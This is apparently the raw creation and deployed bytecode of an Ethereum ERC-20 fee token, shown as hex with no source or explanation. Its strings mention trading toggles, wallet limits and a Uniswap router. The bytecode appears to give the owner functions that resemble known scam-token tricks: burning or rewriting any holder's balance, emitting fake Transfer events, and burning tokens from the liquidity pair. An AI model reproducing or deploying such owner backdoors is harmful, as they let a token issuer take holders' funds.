000000000000602082015250565b60006153af6023836141d6565b91506153ba82615353565b604082019050919050565b600060208201905081810360008301526153de816153a2565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061541b6016836141d6565b9150615426826153e5565b602082019050919050565b6000602082019050818103600083015261544a8161540e565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006154d36049836141d6565b91506154de82615451565b606082019050919050565b60006020820190508181036000830152615502816154c6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b60006155656035836141d6565b915061557082615509565b604082019050919050565b6000602082019050818103600083015261559481615558565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006155d16013836141d6565b91506155dc8261559b565b602082019050919050565b60006020820190508181036000830152615600816155c4565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006156636036836141d6565b915061566e82615607565b604082019050919050565b6000602082019050818103600083015261569281615656565b9050919050565b60006156a4826142ee565b91506156af836142ee565b9250828210156156c2576156c161488d565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006157296021836141d6565b9150615734826156cd565b604082019050919050565b600060208201905081810360008301526157588161571c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006157bb6022836141d6565b91506157c68261575f565b604082019050919050565b600060208201905081810360008301526157ea816157ae565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061584d6021836141d6565b9150615858826157f1565b604082019050919050565b6000602082019050818103600083015261587c81615840565b9050919050565b600081905092915050565b50565b600061589e600083615883565b91506158a98261588e565b600082019050919050565b60006158bf82615891565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061591d615918615913846158f8565b6143c7565b6142ee565b9050919050565b61592d81615902565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615968816142b0565b82525050565b600061597a838361595f565b60208301905092915050565b6000602082019050919050565b600061599e82615933565b6159a8818561593e565b93506159b38361594f565b8060005b838110156159e45781516159cb888261596e565b97506159d683615986565b9250506001810190506159b7565b5085935050505092915050565b600060a082019050615a066000830188614441565b615a136020830187615924565b8181036040830152615a258186615993565b9050615a3460608301856145b0565b615a416080830184614441565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204b98a06e12108ea8d10663e761f86f9012df42a311a1e50d9c6623c32dde703c64736f6c634300080a003300000000000000000000000058d1f0b63c3e953e58aa30d975881de6f21e2aa0

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f8e578063f2fde38b14610fb9578063f637434214610fe2578063f8b45b051461100d578063fe72b27a1461103857610410565b8063dd62ed3e14610ebe578063e2f4560514610efb578063e5ee5a7314610f26578063e884f26014610f6357610410565b8063c2b7bbb6116100f2578063c2b7bbb614610dd7578063c876d0b914610e00578063c8c8ebe414610e2b578063d257b34f14610e56578063d85ba06314610e9357610410565b8063bbc0c74214610d31578063c024666814610d5c578063c17b5b8c14610d85578063c18bc19514610dae57610410565b80639fccce32116101a6578063a4c82a0011610175578063a4c82a0014610c3a578063a9059cbb14610c65578063aacebbe314610ca2578063b62496f514610ccb578063bbbb3ffc14610d0857610410565b80639fccce3214610b7e578063a0d82dc514610ba9578063a165506f14610bd4578063a457c2d714610bfd57610410565b806395d89b41116101e257806395d89b4114610ad45780639c3b4fdc14610aff5780639dc29fac14610b2a5780639ec22c0e14610b5357610410565b80638da5cb5b14610a2a5780638ea5220f14610a555780639213691314610a80578063924de9b714610aab57610410565b8063333f52e011610319578063715018a6116102a157806375f0a8741161027057806375f0a874146109695780637bce5a04146109945780638095d564146109bf5780638a8c523c146109e85780638bdb2afa146109ff57610410565b8063715018a6146108d5578063730c1888146108ec578063751039fc146109155780637571336a1461094057610410565b80633eb2b5ad116102e85780633eb2b5ad146107ee57806349bd5a5e146108175780636a486a8e146108425780636ddd17131461086d57806370a082311461089857610410565b8063333f52e014610720578063338d46691461075d5780633582ad231461078657806339509351146107b157610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611075565b6040516104379190614264565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614324565b611107565b604051610474919061437f565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061439a565b611125565b6040516104b1919061437f565b60405180910390f35b3480156104c657600080fd5b506104cf611145565b6040516104dc9190614426565b60405180910390f35b3480156104f157600080fd5b506104fa611169565b6040516105079190614450565b60405180910390f35b34801561051c57600080fd5b506105376004803603810190610532919061439a565b611173565b005b34801561054557600080fd5b5061054e61123b565b60405161055b9190614450565b60405180910390f35b34801561057057600080fd5b50610579611241565b6040516105869190614450565b60405180910390f35b34801561059b57600080fd5b506105a4611247565b6040516105b19190614450565b60405180910390f35b3480156105c657600080fd5b506105cf61124d565b6040516105dc9190614450565b60405180910390f35b3480156105f157600080fd5b5061060c6004803603810190610607919061446b565b611253565b005b34801561061a57600080fd5b5061063560048036038101906106309190614498565b6112e6565b604051610642919061437f565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614550565b6113bf565b005b34801561068057600080fd5b506106896115ab565b60405161069691906145bf565b60405180910390f35b3480156106ab57600080fd5b506106b46115b1565b6040516106c19190614450565b60405180910390f35b3480156106d657600080fd5b506106df6115b7565b6040516106ec919061437f565b60405180910390f35b34801561070157600080fd5b5061070a6115ca565b60405161071791906145f6565b60405180910390f35b34801561072c57600080fd5b506107476004803603810190610742919061439a565b6115d3565b604051610754919061437f565b60405180910390f35b34801561076957600080fd5b50610784600480360381019061077f919061463d565b611629565b005b34801561079257600080fd5b5061079b6116d6565b6040516107a8919061437f565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190614324565b6116e9565b6040516107e5919061437f565b60405180910390f35b3480156107fa57600080fd5b506108156004803603810190610810919061439a565b61179c565b005b34801561082357600080fd5b5061082c6117e8565b60405161083991906145bf565b60405180910390f35b34801561084e57600080fd5b5061085761180e565b6040516108649190614450565b60405180910390f35b34801561087957600080fd5b50610882611814565b60405161088f919061437f565b60405180910390f35b3480156108a457600080fd5b506108bf60048036038101906108ba919061439a565b611827565b6040516108cc9190614450565b60405180910390f35b3480156108e157600080fd5b506108ea611870565b005b3480156108f857600080fd5b50610913600480360381019061090e919061469d565b611936565b005b34801561092157600080fd5b5061092a611a02565b604051610937919061437f565b60405180910390f35b34801561094c57600080fd5b50610967600480360381019061096291906146f0565b611a2e565b005b34801561097557600080fd5b5061097e611a91565b60405161098b91906145bf565b60405180910390f35b3480156109a057600080fd5b506109a9611ab7565b6040516109b69190614450565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190614730565b611abd565b005b3480156109f457600080fd5b506109fd611b48565b005b348015610a0b57600080fd5b50610a14611b8f565b604051610a2191906147a4565b60405180910390f35b348015610a3657600080fd5b50610a3f611bb5565b604051610a4c91906145bf565b60405180910390f35b348015610a6157600080fd5b50610a6a611bde565b604051610a7791906145bf565b60405180910390f35b348015610a8c57600080fd5b50610a95611c04565b604051610aa29190614450565b60405180910390f35b348015610ab757600080fd5b50610ad26004803603810190610acd91906147bf565b611c0a565b005b348015610ae057600080fd5b50610ae9611c2f565b604051610af69190614264565b60405180910390f35b348015610b0b57600080fd5b50610b14611cc1565b604051610b219190614450565b60405180910390f35b348015610b3657600080fd5b50610b516004803603810190610b4c9190614324565b611cc7565b005b348015610b5f57600080fd5b50610b68611cdd565b604051610b759190614450565b60405180910390f35b348015610b8a57600080fd5b50610b93611ce3565b604051610ba09190614450565b60405180910390f35b348015610bb557600080fd5b50610bbe611ce9565b604051610bcb9190614450565b60405180910390f35b348015610be057600080fd5b50610bfb6004803603810190610bf691906147ec565b611cef565b005b348015610c0957600080fd5b50610c246004803603810190610c1f9190614324565b611d05565b604051610c31919061437f565b60405180910390f35b348015610c4657600080fd5b50610c4f611dd2565b604051610c5c9190614450565b60405180910390f35b348015610c7157600080fd5b50610c8c6004803603810190610c879190614324565b611dd8565b604051610c99919061437f565b60405180910390f35b348015610cae57600080fd5b50610cc96004803603810190610cc4919061439a565b611df6565b005b348015610cd757600080fd5b50610cf26004803603810190610ced919061439a565b611ebe565b604051610cff91906145bf565b60405180910390f35b348015610d1457600080fd5b50610d2f6004803603810190610d2a91906147ec565b611ef1565b005b348015610d3d57600080fd5b50610d46611fd5565b604051610d53919061437f565b60405180910390f35b348015610d6857600080fd5b50610d836004803603810190610d7e91906146f0565b611fe8565b005b348015610d9157600080fd5b50610dac6004803603810190610da79190614730565b612099565b005b348015610dba57600080fd5b50610dd56004803603810190610dd0919061446b565b612124565b005b348015610de357600080fd5b50610dfe6004803603810190610df9919061439a565b6121b7565b005b348015610e0c57600080fd5b50610e15612230565b604051610e22919061437f565b60405180910390f35b348015610e3757600080fd5b50610e40612243565b604051610e4d9190614450565b60405180910390f35b348015610e6257600080fd5b50610e7d6004803603810190610e78919061446b565b612249565b604051610e8a919061437f565b60405180910390f35b348015610e9f57600080fd5b50610ea861232a565b604051610eb59190614450565b60405180910390f35b348015610eca57600080fd5b50610ee56004803603810190610ee091906147ec565b612330565b604051610ef29190614450565b60405180910390f35b348015610f0757600080fd5b50610f106123b7565b604051610f1d9190614450565b60405180910390f35b348015610f3257600080fd5b50610f4d6004803603810190610f48919061439a565b6123bd565b604051610f5a919061437f565b60405180910390f35b348015610f6f57600080fd5b50610f78612413565b604051610f85919061437f565b60405180910390f35b348015610f9a57600080fd5b50610fa361243f565b604051610fb09190614450565b60405180910390f35b348015610fc557600080fd5b50610fe06004803603810190610fdb919061439a565b612445565b005b348015610fee57600080fd5b50610ff761257a565b6040516110049190614450565b60405180910390f35b34801561101957600080fd5b50611022612580565b60405161102f9190614450565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a919061446b565b612586565b60405161106c919061437f565b60405180910390f35b6060600680546110849061485b565b80601f01602080910402602001604051908101604052809291908181526020018280546110b09061485b565b80156110fd5780601f106110d2576101008083540402835291602001916110fd565b820191906000526020600020905b8154815290600101906020018083116110e057829003601f168201915b5050505050905090565b600061111b611114612881565b8484612889565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b61117b612a54565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b60125481565b60215481565b60205481565b61125b612a54565b633b9aca006103e8600161126d611169565b61127791906148bc565b6112819190614945565b61128b9190614945565b8110156112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906149e8565b60405180910390fd5b633b9aca00816112dd91906148bc565b600c8190555050565b60006112f3848484612ad2565b6113b4846112ff612881565b6113af85604051806060016040528060288152602001615a7260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611365612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b600190509392505050565b6113c7612a54565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a43905307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190614a1d565b6040518363ffffffff1660e01b81526004016114b4929190614a4a565b602060405180830381865afa1580156114d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f59190614a1d565b905060005b848490508110156115a45784848281811061151857611517614a73565b5b905060200201602081019061152d919061439a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115899190614450565b60405180910390a3808061159c90614aa2565b9150506114fa565b5050505050565b61dead81565b60145481565b601360009054906101000a900460ff1681565b60006009905090565b6000602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611631612a54565b60005b838390508110156116d057816017600086868581811061165757611656614a73565b5b905060200201602081019061166c919061439a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806116c890614aa2565b915050611634565b50505050565b601660009054906101000a900460ff1681565b60006117926116f6612881565b8461178d8560036000611707612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282390919063ffffffff16565b612889565b6001905092915050565b6117a4612a54565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b601660029054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611878612a54565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61193e612a54565b610258831015611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90614b5d565b60405180910390fd5b6103e88211158015611996575060008210155b6119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc90614bef565b60405180910390fd5b826014819055508160128190555080601360006101000a81548160ff021916908315150217905550505050565b6000611a0c612a54565b6000601660006101000a81548160ff0219169083151502179055506001905090565b611a36612a54565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b611ac5612a54565b8260198190555081601a8190555080601b81905550601b54601a54601954611aed9190614c0f565b611af79190614c0f565b60188190555060196018541115611b43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3a90614cb1565b60405180910390fd5b505050565b611b50612a54565b6001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff02191690831515021790555042601581905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b611c12612a54565b80601660026101000a81548160ff02191690831515021790555050565b606060078054611c3e9061485b565b80601f0160208091040260200160405190810160405280929190818152602001828054611c6a9061485b565b8015611cb75780601f10611c8c57610100808354040283529160200191611cb7565b820191906000526020600020905b815481529060010190602001808311611c9a57829003601f168201915b5050505050905090565b601b5481565b611ccf612a54565b611cd9828261365d565b5050565b60115481565b60225481565b601f5481565b611cf7612a54565b611d018282611ef1565b5050565b6000611dc8611d12612881565b84611dc385604051806060016040528060258152602001615a9a6025913960036000611d3c612881565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135f99092919063ffffffff16565b612889565b6001905092915050565b60155481565b6000611dec611de5612881565b8484612ad2565b6001905092915050565b611dfe612a54565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611ef9612a54565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601660019054906101000a900460ff1681565b611ff0612a54565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161208d919061437f565b60405180910390a25050565b6120a1612a54565b82601d8190555081601e8190555080601f81905550601f54601e54601d546120c99190614c0f565b6120d39190614c0f565b601c819055506063601c54111561211f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211690614d1d565b60405180910390fd5b505050565b61212c612a54565b633b9aca006103e8600561213e611169565b61214891906148bc565b6121529190614945565b61215c9190614945565b81101561219e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219590614daf565b60405180910390fd5b633b9aca00816121ae91906148bc565b600b8190555050565b6121bf612a54565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061222d600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001611a2e565b50565b602460009054906101000a900460ff1681565b600c5481565b6000612253612a54565b620186a06001612261611169565b61226b91906148bc565b6122759190614945565b8210156122b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ae90614e41565b60405180910390fd5b6103e8600a6122c4611169565b6122ce91906148bc565b6122d89190614945565b82111561231a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231190614ed3565b60405180910390fd5b81600d8190555060019050919050565b60185481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061241d612a54565b6000602460006101000a81548160ff0219169083151502179055506001905090565b601a5481565b61244d612a54565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b490614f65565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e5481565b600b5481565b6000612590612a54565b6010546011546125a09190614c0f565b42116125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890614fd1565b60405180910390fd5b6103e8821115612626576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261d90615063565b60405180910390fd5b4260118190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161268a91906145bf565b602060405180830381865afa1580156126a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126cb9190615098565b905060006126f66127106126e8868561382990919063ffffffff16565b6138a490919063ffffffff16565b9050600081111561273157612730600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836138ee565b5b600060276000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156127ff57600080fd5b505af1158015612813573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846128329190614c0f565b905083811015612877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286e90615111565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f0906151a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296090615235565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a479190614450565b60405180910390a3505050565b612a5c612881565b73ffffffffffffffffffffffffffffffffffffffff16612a7a613b87565b73ffffffffffffffffffffffffffffffffffffffff1614612ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac7906152a1565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3990615333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba9906153c5565b60405180910390fd5b6000811415612bcc57612bc7838360006138ee565b6135f4565b601660009054906101000a900460ff16156131e35761dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c525750612c22611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cca5750612c9a611bb5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612ce35750600a60149054906101000a900460ff16155b156131e257601660019054906101000a900460ff16612ddd57602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d9d5750602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd390615431565b60405180910390fd5b5b602460009054906101000a900460ff1615612fa757612dfa611bb5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612e8157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612edb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fa65743602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f58906154e9565b60405180910390fd5b43602360003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309a57600c5481111561303d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130349061557b565b60405180910390fd5b600b5461304983611827565b826130549190614c0f565b1115613095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308c906155e7565b60405180910390fd5b6131e1565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313557600c54811115613130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161312790615679565b60405180910390fd5b6131e0565b602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131df57600b5461319283611827565b8261319d9190614c0f565b11156131de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d5906155e7565b60405180910390fd5b5b5b5b5b5b60006131ee30611827565b90506000600d5482101590508080156132135750601660029054906101000a900460ff165b801561322c5750600a60149054906101000a900460ff16155b80156132825750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132d85750602560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561331c576001600a60146101000a81548160ff021916908315150217905550613300613b9b565b6000600a60146101000a81548160ff0219169083151502179055505b600a60149054906101000a900460ff161580156133455750601360009054906101000a900460ff165b156133555761335385613d23565b505b6000600a60149054906101000a900460ff16159050602560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061340b5750602560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561341557600090505b600081156135e4576000601c5411156134f0576134506064613442601c548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601c54601e548261346391906148bc565b61346d9190614945565b6021600082825461347e9190614c0f565b92505081905550601c54601f548261349691906148bc565b6134a09190614945565b602260008282546134b19190614c0f565b92505081905550601c54601d54826134c991906148bc565b6134d39190614945565b602060008282546134e49190614c0f565b925050819055506135c0565b600060185411156135bf5761352360646135156018548861382990919063ffffffff16565b6138a490919063ffffffff16565b9050601854601a548261353691906148bc565b6135409190614945565b602160008282546135519190614c0f565b92505081905550601854601b548261356991906148bc565b6135739190614945565b602260008282546135849190614c0f565b925050819055506018546019548261359c91906148bc565b6135a69190614945565b602060008282546135b79190614c0f565b925050819055505b5b60008111156135d5576135d48730836138ee565b5b80856135e19190615699565b94505b6135ef8787876138ee565b505050505b505050565b6000838311158290613641576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136389190614264565b60405180910390fd5b50600083856136509190615699565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156136cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136c49061573f565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015613754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374b906157d1565b60405180910390fd5b816004546137629190615699565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137b79190615699565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161381c9190614450565b60405180910390a3505050565b60008083141561383c576000905061389e565b6000828461384a91906148bc565b90508284826138599190614945565b14613899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389090615863565b60405180910390fd5b809150505b92915050565b60006138e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613de1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373fffffff